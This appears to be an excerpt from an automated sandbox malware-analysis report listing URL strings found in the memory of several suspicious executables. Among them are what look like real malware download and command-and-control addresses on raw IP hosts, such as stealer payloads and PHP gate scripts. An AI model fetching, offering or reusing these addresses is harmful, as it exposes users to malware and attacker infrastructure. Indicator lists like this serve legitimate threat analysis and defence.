Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/vcruntime140.dllRE
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001CD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.php
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000549000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpb36fd1cef167f046e714b525b44eclt-release2949fc6aa0d2f9ea88e
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpt
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001CD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phptop
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022158722.0000000001CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23S
Source: qk9TaBBxh8.exe, 00000000.00000003.2141201425.000001D702104000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.139/dacha/rules.exe
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2935186807.0000000006678000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2935510140.0000000006790000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.253/lumma1504.exe
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.253/lumma1504.exe0
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.253/lumma1504.exeH
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exe
Source: qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exe.203/dl.php
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exe6
Source: qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exej
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701EE7000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701EE7000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701EE7000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701EE9000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage16.php
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage16.php.php
Source: qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175216899.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167397049.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage16.php?
Source: qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175216899.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167397049.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage16.phpV
Source: qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175216899.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167397049.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701EF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage16.phpY
Source: qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.php
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.php16.php
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phphps
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phpx
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php
Source: qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.phpJ
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.phpb
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ACVC.WPF.Service.Wcf/IOvpnProcessRunner/IsAliveResponse
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ACVC.WPF.Service.Wcf/IOvpnProcessRunner/IsAliveT
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ACVC.WPF.Service.Wcf/IOvpnProcessRunner/StartResponse
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ACVC.WPF.Service.Wcf/IOvpnProcessRunner/StartT
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ACVC.WPF.Service.Wcf/IOvpnProcessRunner/StopResponseR
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ACVC.WPF.Service.Wcf/IOvpnProcessRunner/StopT
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ACVC.WPF.Service.WcfT
Source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2452855135.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468746507.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2465996225.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468946975.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450463415.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449377666.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449563727.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2457158395.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449377666.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2451130803.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449563727.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468605258.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450463415.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468946975.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2451130803.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449434243.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450640619.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468795113.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449615473.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468664100.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468605258.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468605258.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468664100.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2Assure
Source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468605258.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468664100.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssureZ
Source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2452855135.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468746507.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2465996225.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468946975.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450463415.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449563727.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2457158395.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449377666.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2451130803.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449563727.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468746507.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468605258.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450463415.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2451130803.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449434243.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450640619.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468795113.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449615473.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468664100.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468996555.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2457158395.0000022634F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2452855135.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468746507.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2465996225.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468946975.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449563727.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449377666.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2451130803.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468605258.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450463415.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2451130803.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449434243.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450640619.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468795113.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449615473.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468664100.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468996555.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2457158395.0000022634F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
